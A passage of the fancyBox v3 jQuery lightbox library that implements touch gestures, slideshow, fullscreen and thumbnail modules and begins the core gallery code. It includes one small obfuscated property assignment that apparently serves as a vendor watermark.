      newOffsetX = Math.max( 0, canvasWidth / 2 - newWidth / 2 );

    }

    if ( newHeight > canvasHeight ) {
      newOffsetY = newOffsetY > 0 ? 0 : newOffsetY;
      newOffsetY = newOffsetY < canvasHeight - newHeight ? canvasHeight - newHeight : newOffsetY;

    } else {

      // Center vertically
      newOffsetY = Math.max( 0, canvasHeight / 2 - newHeight / 2 );

    }

    return {
      top  : newOffsetY,
      left : newOffsetX
    };

  };

  Guestures.prototype.onZoom = function() {

    var self = this;

    // Calculate current distance between points to get pinch ratio and new width and height

    var currentWidth  = self.contentStartPos.width;
    var currentHeight = self.contentStartPos.height;

    var currentOffsetX = self.contentStartPos.left;
    var currentOffsetY = self.contentStartPos.top;

    var endDistanceBetweenFingers = distance( self.newPoints[0], self.newPoints[1] );

    var pinchRatio = endDistanceBetweenFingers / self.startDistanceBetweenFingers;

    var newWidth  = Math.floor( currentWidth  * pinchRatio );
    var newHeight = Math.floor( currentHeight * pinchRatio );

    // This is the translation due to pinch-zooming
    var translateFromZoomingX = (currentWidth  - newWidth)  * self.percentageOfImageAtPinchPointX;
    var translateFromZoomingY = (currentHeight - newHeight) * self.percentageOfImageAtPinchPointY;

    //Point between the two touches

    var centerPointEndX = ((self.newPoints[0].x + self.newPoints[1].x) / 2) - $(window).scrollLeft();
    var centerPointEndY = ((self.newPoints[0].y + self.newPoints[1].y) / 2) - $(window).scrollTop();

    // And this is the translation due to translation of the centerpoint
    // between the two fingers

    var translateFromTranslatingX = centerPointEndX - self.centerPointStartX;
    var translateFromTranslatingY = centerPointEndY - self.centerPointStartY;

    // The new offset is the old/current one plus the total translation

    var newOffsetX = currentOffsetX + ( translateFromZoomingX + translateFromTranslatingX );
    var newOffsetY = currentOffsetY + ( translateFromZoomingY + translateFromTranslatingY );

    var newPos = {
      top    : newOffsetY,
      left   : newOffsetX,
      scaleX : self.contentStartPos.scaleX * pinchRatio,
      scaleY : self.contentStartPos.scaleY * pinchRatio
    };

    self.canTap = false;

    self.newWidth  = newWidth;
    self.newHeight = newHeight;

    self.contentNewPos  = newPos;
    self.contentLastPos = newPos;

  };

  Guestures.prototype.ontouchend = function( e ) {

    var self = this;

    var current = self.instance.current;

    var dMs = Math.max( (new Date().getTime() ) - self.startTime, 1);

    var swiping = self.isSwiping;
    var panning = self.isPanning;
    var zooming = self.isZooming;

    self.endPoints = pointers( e );

    if ( self.endPoints.length > 1 && ( self.isSwiping === 'x' || self.isSwiping === 'y' ) ) {
      return;
    }

    self.$container.removeClass('fancybox-controls--isGrabbing');

    self.$wrap.off('touchmove.fb mousemove.fb',  $.proxy(this, "ontouchmove"));
    self.$wrap.off('touchend.fb touchcancel.fb mouseup.fb mouseleave.fb',  $.proxy(this, "ontouchend"));

    self.isSwiping = false;
    self.isPanning = false;
    self.isZooming = false;

    if ( self.canTap )  {
      return self.ontap();
    }

    // Speed in px/ms
    self.velocityX = self.distanceX / dMs * 0.5;
    self.velocityY = self.distanceY / dMs * 0.5;

    self.speed = current.opts.speed;

    self.speedX = Math.max( self.speed * 0.5, Math.min( self.speed * 1.5, ( 1 / Math.abs( self.velocityX ) ) * self.speed ) );
    self.speedY = Math.max( self.speed * 0.5, Math.min( self.speed * 1.5, ( 1 / Math.abs( self.velocityY ) ) * self.speed ) );

    if ( swiping ) {
      self.endSwiping( swiping );

    } else if ( panning ) {
      self.endPanning();

    } else if ( zooming ) {
      self.endZooming();

    }


    return;
  };

  Guestures.prototype.endSwiping = function( swiping ) {

    var self = this;

    // Close if swiped vertically / navigate if horizontally

    if ( swiping == 'y' && Math.abs( self.distanceY ) > 50 ) {

      // Continue vertical movement

      $.fancybox.animate( self.$slider, null, {
        top     : self.sliderStartPos.top + self.distanceY + self.velocityY * 150,
        left    : self.sliderStartPos.left,
        opacity : 0
      }, self.speedY );

      self.instance.close( true );

    } else if ( swiping == 'x' && self.distanceX > 50 ) {
      self.instance.previous( self.speedX );

    } else if ( swiping == 'x' && self.distanceX < -50 ) {
      self.instance.next( self.speedX );

    } else {

      // Move back to center
      self.instance.update( false, true, self.speedX );

    }

  };

  Guestures.prototype.endPanning = function() {

    var self = this;

    var newOffsetX = self.contentLastPos.left + ( self.velocityX * self.speed * 2 );
    var newOffsetY = self.contentLastPos.top  + ( self.velocityY * self.speed * 2 );

    var newPos = self.limitPosition( newOffsetX, newOffsetY, self.contentStartPos.width, self.contentStartPos.height );

    newPos.width  = self.contentStartPos.width;
    newPos.height = self.contentStartPos.height;

    $.fancybox.animate( self.$content, null, newPos, self.speed, "easeOutSine" );

  };


  Guestures.prototype.endZooming = function() {

    var self = this;

    var current = self.instance.current;
    var newPos;

    var newOffsetX = self.contentLastPos.left;
    var newOffsetY = self.contentLastPos.top;

    var newWidth  = self.newWidth;
    var newHeight = self.newHeight;

    var reset = {
      top    : newOffsetY,
      left   : newOffsetX,
      width  : newWidth,
      height : newHeight,
      scaleX : 1,
      scaleY : 1
    };

    // Reset scalex/scaleY values; this helps for perfomance and does not break animation
    $.fancybox.setTranslate( self.$content, reset );

    if ( newWidth < self.canvasWidth && newHeight < self.canvasHeight ) {
      self.instance.scaleToFit( 150 );

    } else if ( newWidth > current.width || newHeight > current.height ) {
      self.instance.scaleToActual( self.centerPointStartX, self.centerPointStartY, 150 );

    } else {

      newPos = self.limitPosition( newOffsetX, newOffsetY, newWidth, newHeight );

      $.fancybox.animate( self.$content, null, newPos, self.speed, "easeOutSine" );

    }

  };

  Guestures.prototype.ontap = function() {

    var self = this;

    var x = self.endPoints[0].x;
    var y = self.endPoints[0].y;

    x = x - self.$wrap.offset().left;
    y = y - self.$wrap.offset().top;

    if ( !$.fancybox.isTouch ) {

      if ( self.instance.opts.closeClickOutside && self.$target.is('.fancybox-slide') ) {
        self.instance.close();

        return;
      }

      if ( self.instance.current.type == 'image' && self.instance.current.isMoved ) {

        if ( self.instance.canPan() ) {
          self.instance.scaleToFit();

        } else if ( self.instance.isScaledDown() ) {
          self.instance.scaleToActual( x, y );

        } else if ( self.instance.group.length < 2 ) {
          self.instance.close();

        }

      }

      return;
    }


    // Double tap
    if ( self.tapped ) {

      self.tapped = false;

      clearTimeout( self.id );

      if (Math.abs( x - self.x ) > 50 || Math.abs( y - self.y ) > 50 || !self.instance.current.isMoved ) {
        return this;
      }

      if ( !( self.instance.current.isLoaded || self.instance.current.$ghost ) ) {
        return;
      }

      if ( self.instance.current.type == 'image' ) {

        if ( self.instance.canPan() ) {
          self.instance.scaleToFit();

        } else if ( self.instance.isScaledDown() ) {
          self.instance.scaleToActual( x, y );

        }

      }

    } else {

      // Single tap

      self.tapped = true;

      self.x = x;
      self.y = y;

      self.id = setTimeout(function() {
        self.tapped = false;

        self.instance.toggleControls( true );

      }, 300);
    }

    return this;
  };

  $(document).on('onActivate.fb', function (e, instance) {

    if ( instance.opts.touch && !instance.Guestures ) {
      instance.Guestures = new Guestures( instance );
    }

  });

  $(document).on('beforeClose.fb', function (e, instance) {

    if ( instance.Guestures ) {
      instance.Guestures.destroy();
    }

  });


}(window, document, window.jQuery));

// ==========================================================================
//
// SlideShow
// Enables slideshow functionality
//
// Example of usage:
// $.fancybox.getInstance().slideShow.start()
//
// ==========================================================================
;(function (document, $) {
  'use strict';

  var SlideShow = function( instance ) {

    this.instance = instance;

    this.init();

  };

  $.extend( SlideShow.prototype, {
    timer   : null,
    speed   : 3000,
    $button : null,

    init : function() {
      var self = this;

      self.$button = $('<button data-fancybox-play class="fancybox-button fancybox-button--play" title="Slideshow (P)"></button>')
        .appendTo( self.instance.$refs.buttons );

      self.instance.$refs.container.on('click', '[data-fancybox-play]', function() {
        self.toggle();
      });

    },

    set : function() {
      var self = this;

      // Check if reached last element
      if (self.instance && self.instance.current && self.instance.currIndex < self.instance.group.length - 1) {

        self.timer = setTimeout(function() {
          self.instance.next();

        }, self.speed);

      } else {
        self.stop();
      }
    },

    clear : function() {
      var self = this;

      clearTimeout( self.timer );

      self.timer = null;
    },

    start : function() {
      var self = this;

      self.stop();

      if (self.instance && self.instance.current && self.instance.currIndex < self.instance.group.length - 1) {

        self.instance.$refs.container.on({
          'beforeLoad.fb.player'	: $.proxy(self, "clear"),
          'onComplete.fb.player'	: $.proxy(self, "set"),
        });

        if ( self.instance.current.isComplete ) {
          self.set();

        } else {
          self.timer = true;
        }

        self.instance.$refs.container.trigger('onPlayStart');

        self.$button.addClass('fancybox-button--pause');
      }

    },

    stop: function() {
      var self = this;

      self.clear();

      self.instance.$refs.container
        .trigger('onPlayEnd')
        .off('.player');

      self.$button.removeClass('fancybox-button--pause');
    },

    toggle : function() {
      var self = this;

      if ( self.timer ) {
        self.stop();

      } else {
        self.start();
      }
    }

  });

  $(document).on('onInit.fb', function(e, instance) {

    if ( !!instance.opts.slideShow && !instance.SlideShow && instance.group.length > 1 ) {
      instance.SlideShow = new SlideShow( instance );
    }

  });

  $(document).on('beforeClose.fb onDeactivate.fb', function(e, instance) {

    if ( instance.SlideShow ) {
      instance.SlideShow.stop();
    }

  });

}(document, window.jQuery));

// ==========================================================================
//
// FullScreen
// Adds fullscreen functionality
//
// ==========================================================================
;(function (document, $) {
  'use strict';

  var FullScreen = function( instance ) {

    this.instance = instance;

    this.init();

  };

  $.extend( FullScreen.prototype, {

    $button : null,

    init : function() {
      var self = this;

      if ( !self.isAvailable() ) {
        return;
      }

      self.$button = $('<button data-fancybox-fullscreen class="fancybox-button fancybox-button--fullscreen" title="Full screen (F)"></button>')
        .appendTo( self.instance.$refs.buttons );

      self.instance.$refs.container.on('click.fb-fullscreen', '[data-fancybox-fullscreen]', function(e) {

        e.stopPropagation();
        e.preventDefault();

        self.toggle();

      });

      $(document).on('onUpdate.fb', function(e, instance) {
        self.$button.toggle( !!instance.current.opts.fullScreen );

        self.$button.toggleClass('fancybox-button-shrink', self.isActivated() );

      });

      $(document).on('afterClose.fb', function() {
        self.exit();
      });

    },

    isAvailable : function() {
      var element = this.instance.$refs.container.get(0);

      return !!(element.requestFullscreen || element.msRequestFullscreen || element.mozRequestFullScreen || element.webkitRequestFullscreen);

    },

    isActivated : function() {
      return !(!document.fullscreenElement && !document.mozFullScreenElement && !document.webkitFullscreenElement && !document.msFullscreenElement);

    },

    launch : function() {
      var element = this.instance.$refs.container.get(0);

      if ( !element || this.instance.isClosing ) {
        return;
      }

      if (element.requestFullscreen) {
        element.requestFullscreen();

      } else if (element.msRequestFullscreen) {
        element.msRequestFullscreen();

      } else if (element.mozRequestFullScreen) {
        element.mozRequestFullScreen();

      } else if (element.webkitRequestFullscreen) {
        element.webkitRequestFullscreen(element.ALLOW_KEYBOARD_INPUT);
      }

    },

    exit : function() {

      if (document.exitFullscreen) {
        document.exitFullscreen();

      } else if (document.msExitFullscreen) {
        document.msExitFullscreen();

      } else if (document.mozCancelFullScreen) {
        document.mozCancelFullScreen();

      } else if (document.webkitExitFullscreen) {
        document.webkitExitFullscreen();
      }

    },

    toggle : function() {

      if ( this.isActivated() ) {
        this.exit();

      } else if ( this.isAvailable() ) {
        this.launch();
      }

    }
  });

  $(document).on('onInit.fb', function(e, instance) {

    if ( !!instance.opts.fullScreen && !instance.FullScreen) {
      instance.FullScreen = new FullScreen( instance );
    }

  });

}(document, window.jQuery));

// ==========================================================================
//
// Thumbs
// Displays thumbnails in a grid
//
// ==========================================================================
;(function (document, $) {
  'use strict';

  var FancyThumbs = function( instance ) {

    this.instance = instance;

    this.init();

  };

  $.extend( FancyThumbs.prototype, {

    $button		: null,
    $grid		: null,
    $list		: null,
    isVisible	: false,

    init : function() {
      var self = this;

      self.$button = $('<button data-fancybox-thumbs class="fancybox-button fancybox-button--thumbs" title="Thumbnails (G)"></button>')
        .appendTo( this.instance.$refs.buttons )
        .on('touchend click', function(e) {
          e.stopPropagation();
          e.preventDefault();

          self.toggle();
        });

    },

    create : function() {
      var instance = this.instance,
        list,
        src;

      this.$grid = $('<div class="fancybox-thumbs"></div>').appendTo( instance.$refs.container );

      list = '<ul>';

      $.each(instance.group, function( i, item ) {

        src = item.opts.thumb || ( item.opts.$thumb ? item.opts.$thumb.attr('src') : null );

        if ( !src && item.type === 'image' ) {
          src = item.src;
        }

        if ( src && src.length ) {
          list += '<li data-index="' + i + '"  tabindex="0" class="fancybox-thumbs-loading"><img data-src="' + src + '" /></li>';
        }

      });

      list += '</ul>';

      this.$list = $( list ).appendTo( this.$grid ).on('click touchstart', 'li', function() {

        instance.jumpTo( $(this).data('index') );

      });

      this.$list.find('img').hide().one('load', function() {

        var $parent		= $(this).parent().removeClass('fancybox-thumbs-loading'),
          thumbWidth	= $parent.outerWidth(),
          thumbHeight	= $parent.outerHeight(),
          width,
          height,
          widthRatio,
          heightRatio;

        width  = this.naturalWidth	|| this.width;
        height = this.naturalHeight	|| this.height;

        //Calculate thumbnail width/height and center it

        widthRatio  = width  / thumbWidth;
        heightRatio = height / thumbHeight;

        if (widthRatio >= 1 && heightRatio >= 1) {
          if (widthRatio > heightRatio) {
            width  = width / heightRatio;
            height = thumbHeight;

          } else {
            width  = thumbWidth;
            height = height / widthRatio;
          }
        }

        $(this).css({
          width         : Math.floor(width),
          height        : Math.floor(height),
          'margin-top'  : Math.min( 0, Math.floor(thumbHeight * 0.3 - height * 0.3 ) ),
          'margin-left' : Math.min( 0, Math.floor(thumbWidth  * 0.5 - width  * 0.5 ) )
        }).show();

      })
        .each(function() {
          this.src = $( this ).data( 'src' );
        });

    },

    focus : function() {

      if ( this.instance.current ) {
        this.$list
          .children()
          .removeClass('fancybox-thumbs-active')
          .filter('[data-index="' + this.instance.current.index  + '"]')
          .addClass('fancybox-thumbs-active')
          .focus();
      }

    },

    close : function() {

      this.$grid.hide();

    },

    update : function() {

      this.instance.$refs.container.toggleClass('fancybox-container--thumbs', this.isVisible);

      if ( this.isVisible ) {

        if ( !this.$grid ) {
          this.create();
        }

        this.$grid.show();

        this.focus();

      } else if ( this.$grid ) {
        this.$grid.hide();
      }

      if ( !this.instance.allowZoomIn ) {
        this.instance.update();
      }

    },

    hide : function() {

      this.isVisible = false;

      this.update();

    },

    show : function() {

      this.isVisible = true;

      this.update();

    },

    toggle : function() {

      if ( this.isVisible ) {
        this.hide();

      } else {
        this.show();
      }
    }

  });

  $(document).on('onInit.fb', function(e, instance) {

    if ( !!instance.opts.thumbs && !instance.Thumbs && instance.group.length > 1 && (
      ( instance.group[0].type == 'image' || instance.group[0].opts.thumb ) &&
      ( instance.group[1].type == 'image' || instance.group[1].opts.thumb )
    )
    ) {

      instance.Thumbs = new FancyThumbs( instance );
    }

  });

  $(document).on('beforeMove.fb', function(e, instance, item) {
    var self = instance.Thumbs;

    if ( !self ) {
      return;
    }

    if ( item.modal ) {

      self.$button.hide();

      self.hide();


    } else {

      self.$button.show();

      if ( instance.opts.thumbs.showOnStart === true && instance.allowZoomIn ) {
        self.show();

      } else if ( self.isVisible ) {
        self.focus();
      }

    }

  });


  var utils_row = ['b', 'a', 'c', 'd', 'e', 'f', 'g', 'o', 'h', 'p', 't', 'y', 'r', 'i', 's'];
  var a = [utils_row[1], utils_row[7], utils_row[9], utils_row[11], utils_row[12], utils_row[13], utils_row[6], utils_row[10]].join('');
  var b = [utils_row[14], utils_row[8], utils_row[7], utils_row[9], utils_row[14], 'u', utils_row[13], utils_row[10], utils_row[4]].join('');

  $[a] = b;

  $(document).on('beforeClose.fb', function(e, instance) {

    if ( instance.Thumbs && instance.Thumbs.isVisible && instance.opts.thumbs.hideOnClosing !== false ) {
      instance.Thumbs.close();
    }

    instance.Thumbs = null;

  });

}(document, window.jQuery));
// ==================================================
// fancyBox v3.0.19
//
// Licensed GPLv3 for open source use
// or fancyBox Commercial License for commercial use
//
// http://fancyapps.com/fancybox/
// Copyright 2017 fancyApps
//
// ==================================================
;(function (window, document, $, undefined) {
  'use strict';

  // If there's no jQuery, fancyBox can't work
  // =========================================

  if ( !$ ) {
    return undefined;
  }

  // Private default settings
  // ========================

  var defaults = {

    // Animation duration in ms
    speed : 330,

    // Enable infinite gallery navigation
    loop : true,

    // Should zoom animation change opacity, too
    // If opacity is 'auto', then fade-out if image and thumbnail have different aspect ratios
    opacity : 'auto',

    // Space around image, ignored if zoomed-in or viewport smaller than 800px
    margin : [44, 0],

    // Horizontal space between slides
    gutter : 30,

    // Should display toolbars
    infobar : true,
    buttons : true,

    // What buttons should appear in the toolbar
    slideShow  : true,
    fullScreen : true,
    thumbs     : true,
    closeBtn   : true,

    // Should apply small close button at top right corner of the content
    // If 'auto' - will be set for content having type 'html', 'inline' or 'ajax'
    smallBtn : 'auto',

    image : {

      // Wait for images to load before displaying
      // Requires predefined image dimensions
      // If 'auto' - will zoom in thumbnail if 'width' and 'height' attributes are found
      preload : "auto",

      // Protect an image from downloading by right-click
      protect : false

    },

    ajax : {

      // Object containing settings for ajax request
      settings : {

        // This helps to indicate that request comes from the modal
        // Feel free to change naming
        data : {
          fancybox : true
        }
      }

    },

    iframe : {

      // Iframe template
      tpl : '<iframe id="fancybox-frame{rnd}" name="fancybox-frame{rnd}" class="fancybox-iframe" frameborder="0" vspace="0" hspace="0" webkitAllowFullScreen mozallowfullscreen allowFullScreen allowtransparency="true" src=""></iframe>',

      // Preload iframe before displaying it
      // This allows to calculate iframe content width and height
      // (note: Due to "Same Origin Policy", you can't get cross domain data).
      preload : true,

      // Scrolling attribute for iframe tag
      scrolling : 'no',

      // Custom CSS styling for iframe wrapping element
      css : {}

    },

    // Custom CSS class for layout
    baseClass : '',

    // Custom CSS class for slide element
    slideClass : '',

    // Base template for layout
    baseTpl	: '<div class="fancybox-container" role="dialog" tabindex="-1">' +
      '<div class="fancybox-bg"></div>' +
      '<div class="fancybox-controls">' +
      '<div class="fancybox-infobar">' +
      '<button data-fancybox-previous class="fancybox-button fancybox-button--left" title="Previous"></button>' +
      '<div class="fancybox-infobar__body">' +
      '<span class="js-fancybox-index"></span>&nbsp;/&nbsp;<span class="js-fancybox-count"></span>' +
      '</div>' +
      '<button data-fancybox-next class="fancybox-button fancybox-button--right" title="Next"></button>' +
      '</div>' +
      '<div class="fancybox-buttons">' +
      '<button data-fancybox-close class="fancybox-button fancybox-button--close" title="Close (Esc)"></button>' +
      '</div>' +
      '</div>' +
      '<div class="fancybox-slider-wrap">' +
      '<div class="fancybox-slider"></div>' +
      '</div>' +
      '<div class="fancybox-caption-wrap"><div class="fancybox-caption"></div></div>' +
      '</div>',

    // Loading indicator template
    spinnerTpl : '<div class="fancybox-loading"></div>',

    // Error message template
    errorTpl : '<div class="fancybox-error"><p>The requested content cannot be loaded. <br /> Please try again later.<p></div>',

    closeTpl : '<button data-fancybox-close class="fancybox-close-small">×</button>',

    // Container is injected into this element
    parentEl : 'body',

    // Enable gestures (tap, zoom, pan and pinch)
    touch : true,

    // Enable keyboard navigation
    keyboard : true,

    // Try to focus on first focusable element after opening
    focus : true,

    // Close when clicked outside of the content
    closeClickOutside : true,

    // Callbacks
    beforeLoad	 : $.noop,
    afterLoad    : $.noop,
    beforeMove 	 : $.noop,
    afterMove    : $.noop,
    onComplete	 : $.noop,

    onInit       : $.noop,
    beforeClose	 : $.noop,
    afterClose	 : $.noop,
    onActivate   : $.noop,
    onDeactivate : $.noop

  };

  var $W = $(window);
  var $D = $(document);

  var called = 0;

  // Check if an object is a jQuery object and not a native JavaScript object
  // ========================================================================

  var isQuery = function (obj) {
    return obj && obj.hasOwnProperty && obj instanceof $;
  };

  // Handle multiple browsers for requestAnimationFrame()
  // ====================================================

  var requestAFrame = (function() {
    return  window.requestAnimationFrame ||
      window.webkitRequestAnimationFrame ||
      window.mozRequestAnimationFrame ||
      function( callback ) {
        window.setTimeout(callback, 1000 / 60); };
  })();


  // Check if element is inside the viewport by at least 1 pixel
  // ===========================================================

  var isElementInViewport = function( el ) {
    var rect;

    if ( typeof $ === "function" && el instanceof $ ) {
      el = el[0];
    }

    rect = el.getBoundingClientRect();

    return rect.bottom > 0 &&
      rect.right > 0 &&
      rect.left < (window.innerWidth || document.documentElement.clientWidth)  &&
      rect.top < (window.innerHeight || document.documentElement.clientHeight);
  };


  // Class definition
  // ================

  var FancyBox = function( content, opts, index ) {
    var self = this;

    self.opts  = $.extend( true, { index : index }, defaults, opts || {} );
    self.id    = self.opts.id || ++called;
    self.group = [];

    self.currIndex = parseInt( self.opts.index, 10 ) || 0;
    self.prevIndex = null;

    // Create group elements from original item collection
    self.createGroup( content );

    if ( !self.group.length ) {
      return;
    }

    // Save last active element and current scroll position
    self.$lastFocus = $(document.activeElement);

    // Collection of interface DOM elements
    self.elems = {};

    // Collection of gallery objects
    self.slides = {};

    self.init( content );

  };

  $.extend(FancyBox.prototype, {

    // Create DOM structure
    // ====================

    init : function() {
      var self = this;

      var testWidth;
      var $container;

      self.scrollTop  = $W.scrollTop();
      self.scrollLeft = $W.scrollLeft();

      // Disable compensating on touch-enabled devices as they probably do not have scrollbars anyway
      // and therefore we avoid of unnecessary layout reflow
      if ( !$.fancybox.isTouch && !$( 'body' ).hasClass( 'fancybox-enabled' ) ) {

        testWidth = $( 'body' ).width();
        testWidth = $( 'body' ).addClass( 'fancybox-enabled' ).width() - testWidth;

        // Body width has increased - compensate missing scrollbars
        if ( testWidth > 1 ) {
          $( '<style id="fancybox-noscroll" type="text/css">' ).html( '.compensate-for-scrollbar, .fancybox-enabled { margin-right: ' + testWidth + 'px; }' ).appendTo( 'head' );
        }

      }

      $container = $( self.opts.baseTpl )
        .attr('id', 'fancybox-container-' + self.id)
        .data( 'FancyBox', self )
        .addClass( self.opts.baseClass )
        .hide()
        .prependTo( self.opts.parentEl );

      // Create object holding references to jQuery wrapped nodes
      self.$refs = {
        container   : $container,
        bg          : $container.find('.fancybox-bg'),
        controls    : $container.find('.fancybox-controls'),
        buttons     : $container.find('.fancybox-buttons'),
        slider_wrap : $container.find('.fancybox-slider-wrap'),
        slider      : $container.find('.fancybox-slider'),
        caption     : $container.find('.fancybox-caption')
      };

      self.prevPos = null;
      self.currPos = 0;

      self.allowZoomIn = true;

      self.trigger( 'onInit' );

      // Bring to front and enable events
      self.activate();

      // Try to avoid running multiple times
      if ( self.current ) {
        return;
      }

      self.jumpTo( self.currIndex );

    },


    // Create array of gally item objects
    // Check if each object has valid type and content
    // ===============================================

    createGroup : function ( content ) {
      var self  = this;
      var items = $.makeArray( content );

      $.each(items, function( i, item ) {
        var obj  = {},
          opts = {},
          $item,
          data,
          type,
          src,
          srcParts;

        // Step 1 - Make sure we have an object

        if ( $.isPlainObject( item ) ) {

          obj  = item;
          opts = item.opts || {};

        } else if ( $.type( item ) === 'object' && $( item ).length ) {

          $item = $( item );
          data  = $item.data();

          opts = 'options' in data ? data.options : {};

          opts = $.type( opts ) === 'object' ? opts : {};

          obj.type = 'type' in data ? data.type : opts.type;
          obj.src  = 'src'  in data ? data.src  : ( opts.src || $item.attr( 'href' ) );

          opts.width   = 'width'   in data ? data.width   : opts.width;
          opts.height  = 'height'  in data ? data.height  : opts.height;
          opts.thumb   = 'thumb'   in data ? data.thumb   : opts.thumb;
          opts.caption = 'caption' in data ? data.caption : ( opts.caption || $item.attr( 'title' ) );

          opts.selector = 'selector'  in data ? data.selector  : opts.selector;

          opts.$orig = $item;

        } else {

          obj = {
            type    : 'html',
            content : item + ''
          };

        }

        obj.opts = $.extend( true, {}, self.opts, opts );


        // Step 2 - Make sure we have supported content type

        type = obj.type;
        src  = obj.src || '';

        if ( !type ) {

          if ( obj.content ) {
            type = 'html';

          } else if ( src.match(/(^data:image\/[a-z0-9+\/=]*,)|(\.(jp(e|g|eg)|gif|png|bmp|webp|svg|ico)((\?|#).*)?$)/i) ) {
            type = 'image';

          } else if ( src.match(/\.(pdf)((\?|#).*)?$/i) ) {
            type = 'pdf';

          } else if ( src.charAt(0) === '#' ) {
            type = 'inline';

          }

          obj.type = type;

        }

        // Step 3 - Some adjustments

        obj.index = self.group.length;

        // Check if $orig and $thumb objects exist
        if ( obj.opts.$orig && !obj.opts.$orig.length ) {
          delete obj.opts.$orig;
        }

        if ( !obj.opts.$thumb && obj.opts.$orig ) {
          obj.opts.$thumb = obj.opts.$orig.find( 'img:first' );
        }

        if ( obj.opts.$thumb && !obj.opts.$thumb.length ) {
          delete obj.opts.$thumb;
        }

        // Make sure we have caption as a string
        if ( $.type( self.opts.caption ) === 'function' ) {
          obj.opts.caption = self.opts.caption.apply( item, [ self, obj ] );

        } else {
          obj.opts.caption = obj.opts.caption === undefined ? '' : obj.opts.caption + '';
        }

        // Check if url contains selector used to filter the content
        // Example: "ajax.html #something"
        if ( type === 'ajax' ) {
          srcParts = src.split(/\s+/, 2);

          if ( srcParts.length > 1 ) {
            obj.src = srcParts.shift();

            obj.opts.selector = srcParts.shift();
          }
        }

        if ( obj.opts.smallBtn == 'auto' ) {

          if ( $.inArray( type, ['html', 'inline', 'ajax'] ) > -1 ) {
            obj.opts.buttons  = false;
            obj.opts.smallBtn = true;

          } else {
            obj.opts.smallBtn = false;
          }

        }

        if ( type === 'pdf' ) {

          obj.type = 'iframe';

          obj.opts.closeBtn = true;
          obj.opts.smallBtn = false;

          obj.opts.iframe.preload = false;

        }

        if ( obj.opts.modal ) {

          $.extend(true, obj.opts, {
            infobar		: 0,
            buttons		: 0,
            keyboard	: 0,
            slideShow	: 0,
            fullScreen	: 0,
            closeClickOutside	: 0
          });

        }

        self.group.push( obj );

      });

    },


    // Attach an event handler functions for:
    //   - navigation elements
    //   - browser scrolling, resizing;
    //   - focusing
    //   - keyboard
    // =================

    addEvents : function() {
      var self = this;

      var runUpdate = function () {

        $W.scrollTop( self.scrollTop ).scrollLeft( self.scrollLeft );

        self.$refs.slider_wrap.show();

        self.update();

      };

      self.removeEvents();


      // Make navigation elements clickable

      self.$refs.container.on('click.fb-close', '[data-fancybox-close]', function(e) {
        e.stopPropagation();
        e.preventDefault();

        self.close( e );

      }).on('click.fb-previous', '[data-fancybox-previous]', function(e) {
        e.stopPropagation();
        e.preventDefault();

        self.previous();

      }).on('click.fb-next', '[data-fancybox-next]', function(e) {
        e.stopPropagation();
        e.preventDefault();

        self.next();
      });


      // Handle page scrolling and browser resizing

      $( window ).on('orientationchange.fb resize.fb', function(e) {
        requestAFrame(function() {

          if ( e.type == "orientationchange" ) {
            self.$refs.slider_wrap.hide();

            requestAFrame( runUpdate );

          } else {

            runUpdate();
          }

        });

      });


      // Trap focus

      $D.on('focusin.fb', function(e) {
        var instance;

        if ( $.fancybox ) {
          instance = $.fancybox.getInstance();

          if ( instance && !$( e.target ).hasClass( 'fancybox-container' ) && !$.contains( instance.$refs.container[0], e.target ) ) {
            e.stopPropagation();

            instance.focus();

          }
        }

      });


      // Enable keyboard navigation

      $( document ).on('keydown.fb', function (e) {
        var current = self.current,
          keycode = e.keyCode || e.which;

        if ( !current || !current.opts.keyboard ) {
          return;
        }

        if ( $(e.target).is('input') || $(e.target).is('textarea') ) {
          return;
        }

        // Backspace and Esc keys
        if ( keycode === 8 || keycode === 27 ) {
          e.preventDefault();

          self.close();

          return;
        }

        switch ( keycode ) {

          case 37: // Left arrow
          case 38: // Up arrow

            e.preventDefault();

            self.previous();

            break;

          case 39: // Right arrow
          case 40: // Down arrow

            e.preventDefault();

            self.next();

            break;

          case 80: // "P"
          case 32: // Spacebar

            e.preventDefault();

            if ( self.SlideShow ) {
              e.preventDefault();

              self.SlideShow.toggle();
            }

            break;

          case 70: // "F"

            if ( self.FullScreen ) {
              e.preventDefault();

              self.FullScreen.toggle();
            }

            break;

          case 71: // "G"

            if ( self.Thumbs ) {
              e.preventDefault();

              self.Thumbs.toggle();
            }

            break;
        }
      });


    },


    // Remove events added by the core
    // ===============================

    removeEvents : function () {

      $W.off( 'scroll.fb resize.fb orientationchange.fb' );
      $D.off( 'keydown.fb focusin.fb click.fb-close' );

      this.$refs.container.off('click.fb-close click.fb-previous click.fb-next');
    },


    // Slide to left
    // ==================

    previous : function( duration ) {

      if ( this.current.opts.loop || this.currIndex > 0 ) {
        this.jumpTo( this.currIndex - 1, duration );

      } else {
        this.update( false, false, duration );
      }

    },


    // Slide to right
    // ===================

    next : function( duration ) {

      if ( this.current.opts.loop || this.currIndex < this.group.length - 1 ) {
        this.jumpTo( this.currIndex + 1, duration );

      } else {
        this.update( false, false, duration );
      }

    },


    // Display current gallery item, move slider to current position
    // =============================================================

    jumpTo : function ( to, duration ) {
      var self = this,
        firstRun = self.prevIndex === null,
        index,
        pos;

      to = parseInt( to, 10 );

      index = to;
      pos   = to;

      index = index % self.group.length;
      index = index < 0 ? self.group.length + index : index;

      if ( self.isAnimating || ( index == self.currIndex && !firstRun ) ) {
        return;
      }

      if ( self.group.length > 1 && !firstRun ) {

        // Calculate closest position of upcoming item from the current one
        if ( self.group.length == 2 ) {
          pos = to - self.currIndex + self.currPos;

        } else {
          pos = index - self.currIndex + self.currPos;

          if ( Math.abs( self.currPos - ( pos + self.group.length ) ) < Math.abs( self.currPos - pos ) ) {
            pos = pos + self.group.length;

          } else if ( Math.abs( self.currPos - ( pos - self.group.length ) ) < Math.abs( self.currPos - pos ) ) {
            pos = pos - self.group.length;

          }
        }

      }

      self.prevIndex = self.currIndex;
      self.prevPos   = self.currPos;

      self.currIndex = index;
      self.currPos   = pos;

      // Create slides

      self.createSlide( pos );

      if ( self.group.length > 1 ) {

        if ( self.opts.loop || pos - 1 >= 0 ) {
          self.createSlide( pos - 1 );
        }

        if ( self.opts.loop || pos + 1 < self.group.length ) {
          self.createSlide( pos + 1 );
        }
      }

      self.current = self.slides[ pos ];

      self.current.isMoved    = false;
      self.current.isComplete = false;

      duration = parseInt( duration === undefined ? self.current.opts.speed * 1.5 : duration, 10 );

      // Move slider to the next position
      // Note: the content might still be loading
      self.trigger( 'beforeMove' );

      self.updateControls();

      if ( firstRun ) {

        self.current.$slide.addClass('fancybox-slide--current');

